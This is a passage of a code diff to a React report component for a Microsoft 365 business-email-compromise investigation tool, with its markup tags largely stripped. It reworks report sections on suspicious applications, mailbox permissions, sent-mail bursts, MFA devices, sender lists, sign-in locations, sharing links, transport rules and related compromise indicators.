- 5} more repeated - subjects (see JSON export for full list) - - )} - - {(becData?.SentMessageAnalysis?.Bursts || []).slice(0, 5).map((burst, index) => ( - - Starting: {burst.WindowStart || 'N/A'} - {burst.TopSubject && `\nMost common subject: ${burst.TopSubject}`} - - ))} - {(becData?.SentMessageAnalysis?.Bursts?.length || 0) > 5 && ( - - ... and {becData.SentMessageAnalysis.Bursts.length - 5} more bursts (see JSON - export for full list) - + ))} + {becData.NewUsers.length > 8 && ( + + ... and {becData.NewUsers.length - 8} more users (see JSON + export for full list) + + )} + + ) : ( + + No new user accounts were created during the analysis period. + )} +
+ + {/* Check 3: New Applications */} +
+ + Attackers may authorize malicious or suspicious third-party + applications to access your email and data. These applications + can read emails, send messages, and access files without the + user's explicit knowledge. + - {becData.SentMessages.slice(0, 10).map((msg, index) => ( - - To: {msg.RecipientAddress || 'N/A'} - {'\n'} - Status: {msg.Status || 'N/A'} - {'\n'} - Received: {msg.Received || 'N/A'} - {msg.FromIP && - `\nFrom IP: ${msg.FromIP}${msg.Country ? ` (${msg.Country})` : ''}`} - {msg.ForeignLocation === true && - '\n⚠️ Sent from outside the assigned usage location'} - - ))} - {becData.SentMessages.length > 10 && ( - - ... and {becData.SentMessages.length - 10} more messages (see JSON export for - full list) - + {stats.maliciousApps > 0 && ( + + One or more applications in this tenant match a + known-malicious application catalog. Consent-based access + survives a password reset, so these applications should be + removed unless their presence is explained. + )} - - ) : ( - - No messages were sent by this mailbox during the analysis period. - - )} -
- - {/* Check 6: MFA Devices */} -
- - Multi-factor authentication (MFA) devices provide an additional layer of security. - Reviewing registered MFA methods helps identify if attackers have added unauthorized - devices to bypass security controls. - - {stats.mfaDevices > 0 ? ( - <> - - ℹ️ {stats.mfaDevices} MFA device(s) registered - {stats.recentMfaDevices > 0 - ? `, including ${stats.recentMfaDevices} registered in the last 7 days. Verify the recent registrations were made by the user — attackers register their own method to keep access after a password reset.` - : '. Verify each device belongs to the user.'} - + {stats.newApps > 0 ? ( + <> + + New applications were granted access during the analysis + period. Review each application to ensure it was authorized + and is from a trusted publisher. + - {[...becData.MFADevices] - .sort( - (a, b) => new Date(b?.createdDateTime || 0) - new Date(a?.createdDateTime || 0) + {becData.AddedApps.slice(0, 6).map((app, index) => ( + + Publisher: {app.publisher || 'Unknown'} + {'\n'} + App ID: {app.appId || 'N/A'} + {'\n'} + Created: {formatDate(app.createdDateTime)} + {app.MaliciousMatch && + `\n⚠️ Matches known-malicious catalog entry "${app.MaliciousMatch.Name}"${ + app.MaliciousMatch.Categories?.length + ? ` (${app.MaliciousMatch.Categories.join(', ')})` + : '' + }`} + + ))} + {becData.AddedApps.length > 6 && ( + + ... and {becData.AddedApps.length - 6} more apps (see JSON + export for full list) + + )} + + ) : ( + (becData?.MaliciousSPs?.length || 0) === 0 && ( + + No new applications were authorized during the analysis + period, and no known malicious applications are present in + the tenant. + ) - .slice(0, 5) - .map((device, index) => ( - - Display Name: {device.displayName || 'N/A'} + )} + + {(becData?.MaliciousSPs?.length || 0) > 0 && ( + <> + {becData.MaliciousSPs.slice(0, 6).map((app, index) => ( + + Catalog entry: {app.CatalogName || 'Unknown'} + {'\n'} + App ID: {app.appId || 'N/A'} {'\n'} - Registered: {formatDate(device.createdDateTime)} - {isRecentMfaDevice(device) && '\n⚠️ Registered in the last 7 days'} + Categories:{' '} + {app.Categories?.length + ? app.Categories.join(', ') + : 'N/A'} + {'\n'} + Enabled: {String(app.accountEnabled ?? 'Unknown')} + {'\n'} + First seen: {formatDate(app.createdDateTime)} - ))} - {becData.MFADevices.length > 5 && ( - - ... and {becData.MFADevices.length - 5} more methods (see JSON export for full - list) - + ))} + {becData.MaliciousSPs.length > 6 && ( + + ... and {becData.MaliciousSPs.length - 6} more (see JSON + export for full list) + + )} + )} - - ) : ( - - No multi-factor authentication devices are registered. MFA is highly recommended to - prevent unauthorized access. - - )} -
+
+ - {/* Check 7: Password Changes */} -
- - Attackers often change passwords to lock out legitimate users. Reviewing recent - password changes in the tenant helps identify if the compromised account's password - was changed or if other accounts were affected. - + {/* CHECK 4, 5, 6, 7: PERMISSIONS, SENT MAIL, MFA, PASSWORDS */} + + {/* Check 4: Mailbox Permission Changes */} +
+ + Unauthorized changes to mailbox permissions can allow attackers + to grant themselves or accomplices access to read, send, or + manage emails. This is a common technique to maintain persistent + access. + - {stats.passwordChanges > 0 ? ( - <> - - ℹ️ {stats.passwordChanges} password change(s) detected in the tenant during the - analysis period. - + {stats.permissionChanges > 0 ? ( + <> + + Mailbox permission changes were detected. Verify that each + change was authorized and necessary for legitimate business + purposes. + - {becData.ChangedPasswords.slice(0, 5).map((user, index) => ( - - Email: {user.userPrincipalName || 'N/A'} - {'\n'} - Last Password Change: {formatDate(user.lastPasswordChangeDateTime)} - - ))} - {becData.ChangedPasswords.length > 5 && ( - - ... and {becData.ChangedPasswords.length - 5} more (see JSON export for full - list) - + {becData.MailboxPermissionChanges.slice(0, 5).map( + (change, index) => ( + + User: {change.UserKey || 'Unknown'} + {'\n'} + Target: {change.ObjectId || 'N/A'} + {'\n'} + Permissions: {change.Permissions || 'Unknown'} + {change.TargetsSuspect === true && + '\n⚠️ Targets the investigated mailbox'} + + ) + )} + {becData.MailboxPermissionChanges.length > 5 && ( + + ... and {becData.MailboxPermissionChanges.length - 5} more + changes + + )} + + ) : ( + + No mailbox permission changes were detected during the + analysis period. + )} - - ) : ( - - ℹ️ No password changes detected during the analysis period. - - )} -
-
+
+ + {/* Check 5: Sent Messages */} +
+ + Attackers use a compromised mailbox to send fraudulent invoices, + phishing, or internal impersonation mail. The message trace + shows what actually left the mailbox during the analysis period, + including the IP address it was sent from. + - {/* CHECK 8, 9, 10: SENDER LISTS, DEVICES, LOCATIONS */} - + {stats.sentMessages > 0 ? ( + <> + + ℹ️ {stats.sentTotalMessages || stats.sentMessages}{' '} + message(s) to{' '} + {stats.sentTotalRecipients || stats.sentMessages}{' '} + recipient(s) were sent by this mailbox during the analysis + period + {stats.foreignSentMessages > 0 + ? `, including ${stats.foreignSentMessages} from an IP outside the user's assigned usage location.` + : '.'} + + + {stats.massMailFlagged && ( + + {stats.repeatedSubjects > 0 + ? `${stats.repeatedSubjects} subject(s) were sent as many separate messages or to many recipients. ` + : ''} + {stats.sendBursts > 0 + ? `${stats.sendBursts} short burst(s) of high-volume sending were detected. ` + : ''} + Identical-subject mass mail and send bursts are how a + compromised mailbox spreads phishing or fraudulent + invoices. Review the campaigns below and warn the + recipients if the content was malicious. + + )} - {/* Check 8: Trusted & Blocked Senders */} -
- - Attackers may add their own domain to the Trusted Senders list so their fraudulent - messages bypass spam filtering, or add finance/security domains to the Blocked - Senders list so warnings and alerts are hidden from the victim in the Junk Email - folder. - + {(becData?.SentMessageAnalysis?.RepeatedSubjects || []) + .slice(0, 5) + .map((group, index) => ( + + Messages: {group.MessageCount} + {'\n'} + Recipients: {group.RecipientCount} + {'\n'} + First sent: {group.FirstSent || 'N/A'} + {'\n'} + Last sent: {group.LastSent || 'N/A'} + + ))} + {(becData?.SentMessageAnalysis?.RepeatedSubjects?.length || + 0) > 5 && ( + + ... and{' '} + {becData.SentMessageAnalysis.RepeatedSubjects.length - 5}{' '} + more repeated subjects (see the retained investigation + record for the full list) + + )} - {becData?.SafelistError && ( - - {becData.SafelistError} - {'\n'} - An empty list here does not mean the mailbox has no trusted or blocked senders. - - )} + {(becData?.SentMessageAnalysis?.Bursts || []) + .slice(0, 5) + .map((burst, index) => ( + + Starting: {burst.WindowStart || 'N/A'} + {burst.TopSubject && + `\nMost common subject: ${burst.TopSubject}`} + + ))} + {(becData?.SentMessageAnalysis?.Bursts?.length || 0) > 5 && ( + + ... and {becData.SentMessageAnalysis.Bursts.length - 5}{' '} + more bursts (see the retained investigation record for the + full list) + + )} - {stats.safelistChanges > 0 && ( - <> - - The audit log recorded changes to the Trusted/Blocked Senders and Domains list on - this mailbox. Review each change carefully. - + {becData.SentMessages.slice(0, 10).map((msg, index) => ( + + To: {msg.RecipientAddress || 'N/A'} + {'\n'} + Status: {msg.Status || 'N/A'} + {'\n'} + Received: {msg.Received || 'N/A'} + {msg.FromIP && + `\nFrom IP: ${msg.FromIP}${msg.Country ? ` (${msg.Country})` : ''}`} + {msg.ForeignLocation === true && + '\n⚠️ Sent from outside the assigned usage location'} + + ))} + {becData.SentMessages.length > 10 && ( + + ... and {becData.SentMessages.length - 10} more messages + (see the retained investigation record for the full list) + + )} + + ) : ( + + No messages were sent by this mailbox during the analysis + period. + + )} +
+ + {/* Check 6: MFA Devices */} +
+ + Multi-factor authentication (MFA) devices provide an additional + layer of security. Reviewing registered MFA methods helps + identify if attackers have added unauthorized devices to bypass + security controls. + - {becData.SafelistChanges.slice(0, 10).map((change, index) => ( - - Date: {formatDate(change.Date)} - {change.ClientIP && - `\nFrom: ${change.ClientIP}${change.Country ? ` (${change.Country})` : ''}`} - {change.ForeignLocation === true && - '\n⚠️ Originated outside the assigned usage location'} - {'\n'} - Trusted: {formatSafelistValue(change.Trusted)} - {'\n'} - Blocked: {formatSafelistValue(change.Blocked)} - - ))} - {becData.SafelistChanges.length > 10 && ( - - ... and {becData.SafelistChanges.length - 10} more changes (see JSON export for - full list) - + {stats.mfaDevices > 0 ? ( + <> + + ℹ️ {stats.mfaDevices} MFA device(s) registered + {stats.recentMfaDevices > 0 + ? `, including ${stats.recentMfaDevices} registered in the last 7 days. Verify the recent registrations were made by the user — attackers register their own method to keep access after a password reset.` + : '. Verify each device belongs to the user.'} + + + {[...becData.MFADevices] + .sort( + (a, b) => + new Date(b?.createdDateTime || 0) - + new Date(a?.createdDateTime || 0) + ) + .slice(0, 5) + .map((device, index) => ( + + Display Name: {device.displayName || 'N/A'} + {'\n'} + Registered: {formatDate(device.createdDateTime)} + {isRecentMfaDevice(device) && + '\n⚠️ Registered in the last 7 days'} + + ))} + {becData.MFADevices.length > 5 && ( + + ... and {becData.MFADevices.length - 5} more methods (see + JSON export for full list) + + )} + + ) : ( + + No multi-factor authentication devices are registered. MFA is + highly recommended to prevent unauthorized access. + )} - - )} +
+ + {/* Check 7: Password Changes */} +
+ + Attackers often change passwords to lock out legitimate users. + Reviewing recent password changes in the tenant helps identify + if the compromised account's password was changed or if other + accounts were affected. + - {stats.trustedSenders > 0 && ( - {becData.TrustedSenders.slice(0, 15).join(', ')} - )} - {stats.trustedSenders > 15 && ( - - ... and {stats.trustedSenders - 15} more trusted entries (see JSON export for full - list) - - )} + {stats.passwordChanges > 0 ? ( + <> + + ℹ️ {stats.passwordChanges} password change(s) detected in + the tenant during the analysis period. + + + {becData.ChangedPasswords.slice(0, 5).map((user, index) => ( + + Email: {user.userPrincipalName || 'N/A'} + {'\n'} + Last Password Change:{' '} + {formatDate(user.lastPasswordChangeDateTime)} + + ))} + {becData.ChangedPasswords.length > 5 && ( + + ... and {becData.ChangedPasswords.length - 5} more (see + JSON export for full list) + + )} + + ) : ( + + ℹ️ No password changes detected during the analysis period. + + )} +
+
- {stats.blockedSenders > 0 && ( - {becData.BlockedSenders.slice(0, 15).join(', ')} - )} - {stats.blockedSenders > 15 && ( - - ... and {stats.blockedSenders - 15} more blocked entries (see JSON export for full - list) - - )} + {/* CHECK 8, 9, 10: SENDER LISTS, DEVICES, LOCATIONS */} + + {/* Check 8: Trusted & Blocked Senders */} +
+ + Attackers may add their own domain to the Trusted Senders list + so their fraudulent messages bypass spam filtering, or add + finance/security domains to the Blocked Senders list so warnings + and alerts are hidden from the victim in the Junk Email folder. + - {!becData?.SafelistError && - stats.trustedSenders === 0 && - stats.blockedSenders === 0 && - stats.safelistChanges === 0 && ( - - No trusted or blocked sender/domain entries were found on this mailbox. - - )} -
+ {becData?.SafelistError && ( + + {becData.SafelistError} + {'\n'} + An empty list here does not mean the mailbox has no trusted or + blocked senders. + + )} - {/* Check 9: Intune Devices */} -
- - Newly enrolled Intune devices can indicate an attacker standing up a VM or BYOD - endpoint under the compromised identity, including paths that re-register Windows - Hello for Business. Review devices enrolled during the analysis window first. - + {stats.safelistChanges > 0 && ( + <> + + The audit log recorded changes to the Trusted/Blocked + Senders and Domains list on this mailbox. Review each change + carefully. + - {becData?.IntuneDevicesError ? ( - - {becData.IntuneDevicesError} - {'\n'} - An empty device list here does not mean the user has no Intune devices. - - ) : stats.intuneDevices > 0 ? ( - <> - - ℹ️ {stats.intuneDevices} Intune-managed device(s) associated with this user - {stats.recentIntuneDevices > 0 - ? `, including ${stats.recentIntuneDevices} enrolled in the last 7 days.` - : '. None were enrolled in the last 7 days.'} - + {becData.SafelistChanges.slice(0, 10).map((change, index) => ( + + Date: {formatDate(change.Date)} + {change.ClientIP && + `\nFrom: ${change.ClientIP}${change.Country ? ` (${change.Country})` : ''}`} + {change.ForeignLocation === true && + '\n⚠️ Originated outside the assigned usage location'} + {'\n'} + Trusted: {formatSafelistValue(change.Trusted)} + {'\n'} + Blocked: {formatSafelistValue(change.Blocked)} + + ))} + {becData.SafelistChanges.length > 10 && ( + + ... and {becData.SafelistChanges.length - 10} more changes + (see the retained investigation record for the full list) + + )} + + )} - {sortedIntuneDevices.slice(0, 5).map((device, index) => ( - - OS: {device.operatingSystem || 'N/A'} - {device.osVersion ? ` ${device.osVersion}` : ''} - {'\n'} - Enrolled: {formatDate(device.enrolledDateTime)} - {'\n'} - Compliance: {device.complianceState || 'N/A'} - {'\n'} - Enrollment Type: {device.deviceEnrollmentType || 'N/A'} - {device.serialNumber ? `\nSerial: ${device.serialNumber}` : ''} - - ))} - {sortedIntuneDevices.length > 5 && ( + {stats.trustedSenders > 0 && ( + + {becData.TrustedSenders.slice(0, 15).join(', ')} + + )} + {stats.trustedSenders > 15 && ( - ... and {sortedIntuneDevices.length - 5} more devices (see JSON export for full - list) + ... and {stats.trustedSenders - 15} more trusted entries (see + JSON export for full list) )} - - ) : ( - - No Intune-managed devices were found for this user. - - )} -
- {/* Check 10: Sign-in Locations */} -
- - Sign-ins from countries the user does not work from are one of the strongest - compromise indicators. Each sign-in is compared against the user's assigned usage - location in Entra ID - {locationAnalysis?.UsageLocation ? ` (${locationAnalysis.UsageLocation})` : ''}, and - the client IPs behind rule changes, safelist changes, sharing changes, and sent mail - are geo-located and compared the same way. - + {stats.blockedSenders > 0 && ( + + {becData.BlockedSenders.slice(0, 15).join(', ')} + + )} + {stats.blockedSenders > 15 && ( + + ... and {stats.blockedSenders - 15} more blocked entries (see + JSON export for full list) + + )} - {becData?.SuspectUserSignInsError ? ( - - {becData.SuspectUserSignInsError} - {'\n'} - An empty list here does not mean the user has not signed in. - - ) : ( - <> - {!locationAnalysis?.UsageLocation && ( - - {locationAnalysis?.Note || - 'The user has no usage location assigned in Entra ID, so activity cannot be compared against an expected country.'} - + {!becData?.SafelistError && + stats.trustedSenders === 0 && + stats.blockedSenders === 0 && + stats.safelistChanges === 0 && ( + + No trusted or blocked sender/domain entries were found on + this mailbox. + + )} +
+ + {/* Check 9: Intune Devices */} +
+ + Newly enrolled Intune devices can indicate an attacker standing + up a VM or BYOD endpoint under the compromised identity, + including paths that re-register Windows Hello for Business. + Review devices enrolled during the analysis window first. + + + {becData?.Completeness?.IntuneDevices?.Skipped ? ( + + {becData.Completeness.IntuneDevices.Requirement + ? `Not checked - ${becData.Completeness.IntuneDevices.Requirement}. This is not a pass; the result is unknown.` + : becData.Completeness.IntuneDevices.Error} + + ) : becData?.IntuneDevicesError ? ( + + {becData?.Completeness?.IntuneDevices?.Error || + becData.IntuneDevicesError} + {'\n'} + An empty device list here does not mean the user has no Intune + devices. + + ) : stats.intuneDevices > 0 ? ( + <> + + ℹ️ {stats.intuneDevices} Intune-managed device(s) associated + with this user + {stats.recentIntuneDevices > 0 + ? `, including ${stats.recentIntuneDevices} enrolled in the last 7 days.` + : '. None were enrolled in the last 7 days.'} + + + {sortedIntuneDevices.slice(0, 5).map((device, index) => ( + + OS: {device.operatingSystem || 'N/A'} + {device.osVersion ? ` ${device.osVersion}` : ''} + {'\n'} + Enrolled: {formatDate(device.enrolledDateTime)} + {'\n'} + Compliance: {device.complianceState || 'N/A'} + {'\n'} + Enrollment Type: {device.deviceEnrollmentType || 'N/A'} + {device.serialNumber + ? `\nSerial: ${device.serialNumber}` + : ''} + + ))} + {sortedIntuneDevices.length > 5 && ( + + ... and {sortedIntuneDevices.length - 5} more devices (see + the retained investigation record for the full list) + + )} + + ) : ( + + No Intune-managed devices were found for this user. + )} +
+ + {/* Check 10: Sign-in Locations */} +
+ + Sign-ins from countries the user does not work from are one of + the strongest compromise indicators. Each sign-in is compared + against the user's assigned usage location in Entra ID + {locationAnalysis?.UsageLocation + ? ` (${locationAnalysis.UsageLocation})` + : ''} + , and the client IPs behind rule changes, safelist changes, + sharing changes, and sent mail are geo-located and compared the + same way. + - {(locationAnalysis?.SignInCountries?.length || 0) > 0 && ( - - {locationAnalysis.SignInCountries.map( - (c) => `${c.Country}: ${c.Count} sign-in(s)` - ).join('\n')} - + {becData?.SuspectUserSignInsError ? ( + + {becData.SuspectUserSignInsError} + {'\n'} + An empty list here does not mean the user has not signed in. + + ) : ( + <> + {!locationAnalysis?.UsageLocation && ( + + {locationAnalysis?.Note || + 'The user has no usage location assigned in Entra ID, so activity cannot be compared against an expected country.'} + + )} + + {(locationAnalysis?.SignInCountries?.length || 0) > 0 && ( + + {locationAnalysis.SignInCountries.map( + (c) => `${c.Country}: ${c.Count} sign-in(s)` + ).join('\n')} + + )} + + {stats.foreignSignIns > 0 || stats.foreignActivity > 0 ? ( + <> + + {stats.foreignSignIns} sign-in(s) (of which{' '} + {stats.foreignSuccessfulSignIns} succeeded),{' '} + {locationAnalysis?.ForeignRuleChangeCount || 0} inbox + rule change(s),{' '} + {locationAnalysis?.ForeignSafelistChangeCount || 0}{' '} + safelist change(s),{' '} + {locationAnalysis?.ForeignSharingChangeCount || 0}{' '} + sharing change(s), and{' '} + {locationAnalysis?.ForeignSentMessageCount || 0} sent + message(s) originated outside{' '} + {locationAnalysis?.UsageLocation}. Failed foreign + sign-ins are mostly password-spray noise; the successful + ones prove access. Review each carefully — a single + legitimate trip can explain some of this, but rule, + safelist, or sharing changes from a foreign IP rarely + have an innocent explanation. + + + {foreignSignIns.slice(0, 10).map((signIn, index) => ( + + Application: {signIn.AppDisplayName || 'N/A'} + {'\n'} + IP Address: {signIn.IPAddress || 'N/A'} + {'\n'} + City: {signIn.City || 'N/A'} + {'\n'} + Result: {signIn.Status || 'N/A'} + + ))} + {foreignSignIns.length > 10 && ( + + ... and {foreignSignIns.length - 10} more foreign + sign-ins (see the retained investigation record for + the full list) + + )} + + ) : locationAnalysis?.UsageLocation ? ( + + All located sign-ins and activity match the user's + assigned usage location ({locationAnalysis.UsageLocation} + ). + + ) : null} + )} +
+ + {/* Check 11: Sharing Links */} +
+ + Attackers share OneDrive and SharePoint folders to give + themselves a data feed that survives a password reset, and + anonymous links expose the content to anyone holding the URL. + This check lists every sharing link the account created or + changed during the analysis period, including the IP address it + was done from. + - {stats.foreignSignIns > 0 || stats.foreignActivity > 0 ? ( + {stats.sharingChanges > 0 ? ( <> - - {stats.foreignSignIns} sign-in(s) (of which {stats.foreignSuccessfulSignIns}{' '} - succeeded), {locationAnalysis?.ForeignRuleChangeCount || 0} inbox rule - change(s), {locationAnalysis?.ForeignSafelistChangeCount || 0} safelist - change(s), {locationAnalysis?.ForeignSharingChangeCount || 0} sharing - change(s), and {locationAnalysis?.ForeignSentMessageCount || 0} sent - message(s) originated outside {locationAnalysis?.UsageLocation}. Failed - foreign sign-ins are mostly password-spray noise; the successful ones prove - access. Review each carefully — a single legitimate trip can explain some of - this, but rule, safelist, or sharing changes from a foreign IP rarely have an - innocent explanation. - + + {stats.anonymousLinks > 0 + ? `${stats.anonymousLinks} of these involve anonymous links, which anyone with the URL can open. ` + : ''} + Review each link and remove any that are not explained, even + if the account has since been remediated. + - {foreignSignIns.slice(0, 10).map((signIn, index) => ( - - Application: {signIn.AppDisplayName || 'N/A'} - {'\n'} - IP Address: {signIn.IPAddress || 'N/A'} - {'\n'} - City: {signIn.City || 'N/A'} - {'\n'} - Result: {signIn.Status || 'N/A'} - + {becData.SharingChanges.slice(0, 10).map((change, index) => ( + + Date: {formatDate(change.Date)} + {'\n'} + Workload: {change.Workload || 'N/A'} + {change.Target && `\nShared with: ${change.Target}`} + {change.ClientIP && + `\nFrom: ${change.ClientIP}${change.Country ? ` (${change.Country})` : ''}`} + {change.ForeignLocation === true && + '\n⚠️ Originated outside the assigned usage location'} + ))} - {foreignSignIns.length > 10 && ( + {becData.SharingChanges.length > 10 && ( - ... and {foreignSignIns.length - 10} more foreign sign-ins (see JSON export - for full list) + ... and {becData.SharingChanges.length - 10} more changes + (see the retained investigation record for the full list) )} - ) : locationAnalysis?.UsageLocation ? ( - - All located sign-ins and activity match the user's assigned usage location ( - {locationAnalysis.UsageLocation}). + ) : ( + + No sharing links were created or changed by this account + during the analysis period. + + )} +
+
+ + {/* FULL INVESTIGATION PAGE */} + {isFullScope && ( + +
+ + A delegate with FullAccess or SendAs, a forwarding address, or + an automatic reply lets an attacker keep reading and + impersonating after the password is changed. + + {becData?.MailboxState?.HasForwarding && ( + + Mail is forwarded to{' '} + {becData.MailboxState.ForwardingSmtpAddress || + becData.MailboxState.ForwardingAddress} + {becData.MailboxState.DeliverToMailboxAndForward + ? ' (a copy stays in the mailbox)' + : ''} + . + + )} + {flaggedDelegations.length > 0 ? ( + <> + + External, guest or catch-all principals hold rights on + this mailbox. Remove any the user cannot explain. + + {flaggedDelegations.slice(0, 10).map((d, index) => ( + + Rights: {d.AccessRights} + {'\n'} + Resource: {d.Resource} + + ))} + + ) : ( + + {(becData?.Delegations || []).length} delegation(s) exist, + none to an external, guest or catch-all principal. - ) : null} - - )} -
- - {/* Check 11: Sharing Links */} -
- - Attackers share OneDrive and SharePoint folders to give themselves a data feed that - survives a password reset, and anonymous links expose the content to anyone holding - the URL. This check lists every sharing link the account created or changed during - the analysis period, including the IP address it was done from. - - - {stats.sharingChanges > 0 ? ( - <> - - {stats.anonymousLinks > 0 - ? `${stats.anonymousLinks} of these involve anonymous links, which anyone with the URL can open. ` - : ''} - Review each link and remove any that are not explained, even if the account has - since been remediated. - - - {becData.SharingChanges.slice(0, 10).map((change, index) => ( - - Date: {formatDate(change.Date)} + )} +
+ +
+ + Applications the user consented to keep their access after a + password reset. A rogue-catalog match or a high-risk scope + from an unverified publisher is how mailboxes are synchronised + out of the tenant. + + {flaggedGrants.length > 0 ? ( + <> + + Revoke the grants below unless the user can explain them. + + {flaggedGrants.slice(0, 10).map((g, index) => ( + + Scopes: {g.Scope || 'N/A'} + {'\n'} + Publisher: {g.Publisher || 'Unknown'}{' '} + {g.PublisherVerified ? '(verified)' : '(not verified)'} + {g.CatalogMatch?.Name && + `\nCatalog: ${g.CatalogMatch.Name} (${g.CatalogMatch.Source})`} + + ))} + + ) : ( + + {(becData?.UserGrants || []).length} consent(s) and role + assignment(s) exist, none matching the rogue-app catalogs or + carrying a high-risk scope from an unverified publisher. + + )} +
+ +
+ + A tenant-wide transport rule that BCCs, redirects, deletes or + quarantines mail keeps a feed open after the mailbox itself is + cleaned. + + {flaggedTransportChanges.length > 0 || + flaggedTransportRules.length > 0 ? ( + <> + + Review each rule; disable any that cannot be explained. + + {flaggedTransportChanges.slice(0, 5).map((c, index) => ( + + Date: {formatDate(c.Date)} + {'\n'} + By: {c.Actor || 'Unknown'} + {c.ClientIP && + `\nFrom: ${c.ClientIP}${c.Country ? ` (${c.Country})` : ''}`} + {'\n'} + Risky parameters:{' '} + {Array.isArray(c.RiskyParameters) + ? c.RiskyParameters.join(', ') + : c.RiskyParameters} + + ))} + {flaggedTransportRules.slice(0, 5).map((r, index) => ( + + {Array.isArray(r.RiskReasons) + ? r.RiskReasons.join('\n') + : r.RiskReasons} + + ))} + + ) : ( + + No transport rule with a diversion or suppression action was + changed in the window or exists in the tenant. + + )} +
+ +
+ {flaggedAddIns.length > 0 ? ( + + {flaggedAddIns + .map( + (a) => + `${a.DisplayName} (${a.ProviderName || 'unknown provider'})` + ) + .join('\n')} + + ) : ( + + No enabled user-installed add-in from a non-Microsoft + provider was found. + + )} +
+ +
+ + The message that started the compromise usually arrived in the + window. Trace metadata is checked for phishing-shaped subjects + and look-alike sender domains; Defender for Office 365 + verdicts are included where licensed. No message content is + read. + + {becData?.ReceivedMailSummary && ( + + ℹ️ {becData.ReceivedMailSummary.TotalMessages} message(s) + from {becData.ReceivedMailSummary.UniqueSenders} sender(s) + were received in the window. + + )} + {receivedFindings.length > 0 || deliveredThreats.length > 0 ? ( + <> + + Look-alike sender domains are the strongest signal; + subject patterns are leads for review, not verdicts. + + {receivedFindings.slice(0, 8).map((f, index) => ( + + Subject: {f.Subject || '(no subject)'} + {'\n'} + Reason: {f.Reason} + {'\n'} + Received: {f.Received || 'N/A'} - {f.Status || 'N/A'} + + ))} + {deliveredThreats.slice(0, 5).map((d, index) => ( + + From: {d.SenderAddress || 'Unknown'} + {'\n'} + Subject: {d.Subject || '(no subject)'} + {'\n'} + Delivery: {d.DeliveryAction || 'N/A'} /{' '} + {d.LatestDeliveryLocation || 'N/A'} + + ))} + + ) : ( + + No phishing-shaped subjects, look-alike sender domains or + delivered Defender detections were found. + + )} +
+ +
+ {flaggedAudits.length > 0 ? ( + <> + + Security-info registration, consent, service principal, + device, password, token or role events involving this + user. + + {flaggedAudits.slice(0, 8).map((a, index) => ( + + Date: {formatDate(a.ActivityDateTime)} + {'\n'} + By: {a.InitiatedBy || 'Unknown'} + {a.ClientIP && + `\nFrom: ${a.ClientIP}${a.Country ? ` (${a.Country})` : ''}`} + {a.Targets && `\nTargets: ${a.Targets}`} + + ))} + + ) : ( + + {(becData?.DirectoryAudits || []).length} directory event(s) + involved this user in the window, none of the flagged kinds. + + )} +
+ +
+ {recentRegisteredDevices.length > 0 ? ( + + {recentRegisteredDevices + .map( + (d) => + `${d.displayName || d.deviceId} (${d.operatingSystem || 'unknown OS'}, ${d.trustType || 'unknown trust'}) registered ${formatDate(d.registrationDateTime)}` + ) + .join('\n')} + + ) : ( + + {(becData?.RegisteredDevices || []).length} registered + device(s), none new. + + )} + {foreignNonInteractive.length > 0 ? ( + + {foreignNonInteractive + .slice(0, 8) + .map( + (s) => + `${formatDate(s.CreatedDateTime)} - ${s.AppDisplayName || 'N/A'} from ${s.IPAddress || 'N/A'} (${s.Country || 'Unknown'})` + ) + .join('\n')} + + ) : ( + + {(becData?.NonInteractiveSignIns || []).length} recent + non-interactive sign-in(s), none successful from outside the + usage location. + + )} +
+ +
+ {mailActivitySummary ? ( + + Item accesses: {mailActivitySummary.MailItemsAccessedCount} {'\n'} - Workload: {change.Workload || 'N/A'} - {change.Target && `\nShared with: ${change.Target}`} - {change.ClientIP && - `\nFrom: ${change.ClientIP}${change.Country ? ` (${change.Country})` : ''}`} - {change.ForeignLocation === true && - '\n⚠️ Originated outside the assigned usage location'} + Hard deletes: {mailActivitySummary.HardDeleteCount} + {mailActivitySummary.HardDeleteExceeded + ? ` ⚠️ exceeds the ${mailActivitySummary.HardDeleteThreshold} threshold` + : ''} + {'\n'} + Soft deletes: {mailActivitySummary.SoftDeleteCount} + {'\n'} + Sends: {mailActivitySummary.SendCount} + {'\n'} + Distinct client IPs: {mailActivitySummary.DistinctClientIPs} + {mailActivitySummary.SendAsByOthersCount > 0 && + `\nSent as/on behalf by others: ${mailActivitySummary.SendAsByOthersCount}`} + {'\n'} + Counts only - no items were read. - ))} - {becData.SharingChanges.length > 10 && ( - - ... and {becData.SharingChanges.length - 10} more changes (see JSON export for - full list) - - )} - - ) : ( - - No sharing links were created or changed by this account during the analysis - period. - + ) : ( + + Mailbox activity counts were not available for this run. + + )} + {becData?.Completeness?.RiskState?.Skipped ? ( + + {becData.Completeness.RiskState.Requirement + ? `Not checked - ${becData.Completeness.RiskState.Requirement}. This is not a pass; whether the account is flagged as risky is unknown.` + : becData.Completeness.RiskState.Error} + + ) : riskState?.Listed ? ( + + {riskState.RiskDetail || 'No detail'} - last updated{' '} + {formatDate(riskState.RiskLastUpdatedDateTime)}. + {(riskState.Detections || []).length > 0 && + ` ${(riskState.Detections || []).length} risk detection(s) in the window.`} + + ) : ( + + Identity Protection does not list this user as risky. + + )} +
+
)} -
- - - {/* RECOMMENDATIONS PAGE */} - - -
- - Based on the investigation findings, the following actions should be taken immediately: - - - - Change the user's - password immediately to prevent further unauthorized access. - - Sign out the user from - all active sessions to terminate any attacker access. - - Delete any - mailbox rules that forward, redirect, or hide emails, especially those moving - messages to unusual folders. - - Remove any MFA - devices that the user doesn't recognize and re-register legitimate devices. - - Review and revoke any - unauthorized mailbox permissions or application consents. - - Continue monitoring the - account for suspicious activity for at least 30 days. - - -
- -
- - To prevent future Business Email Compromise attacks, implement these security best - practices: - - - - {' '} - Require MFA for all users, especially those with administrative privileges or access - to financial systems. - - {' '} - Educate employees about phishing, social engineering, and how to identify suspicious - emails. Regular training significantly reduces successful attacks. - - Use - email security solutions that detect and block phishing, malware, and suspicious - attachments. - - {' '} - Restrict access based on location, device compliance, and risk level to prevent - unauthorized sign-ins. - - Regularly review - audit logs for suspicious activities such as unusual sign-in patterns, rule - creation, or permission changes. - - Implement - multi-person approval processes for wire transfers and payment changes to prevent - fraudulent transactions. - - -
-
- - Share these key points with the affected user to help prevent future compromises: - - - - - Never click on links or open attachments in unexpected emails, even if they appear - to come from known contacts. - - - Always verify unusual requests for money transfers or sensitive information through - a separate communication channel (phone call, in person). - - - Use strong, unique passwords for each account and consider using a password manager. - - - Be cautious when authorizing new applications or granting permissions to third-party - services. - - - Report suspicious emails or activities to your IT security team immediately. - - -
-
- - {/* COMPLIANCE & DOCUMENTATION PAGE */} - + {/* RECOMMENDATIONS PAGE */} + +
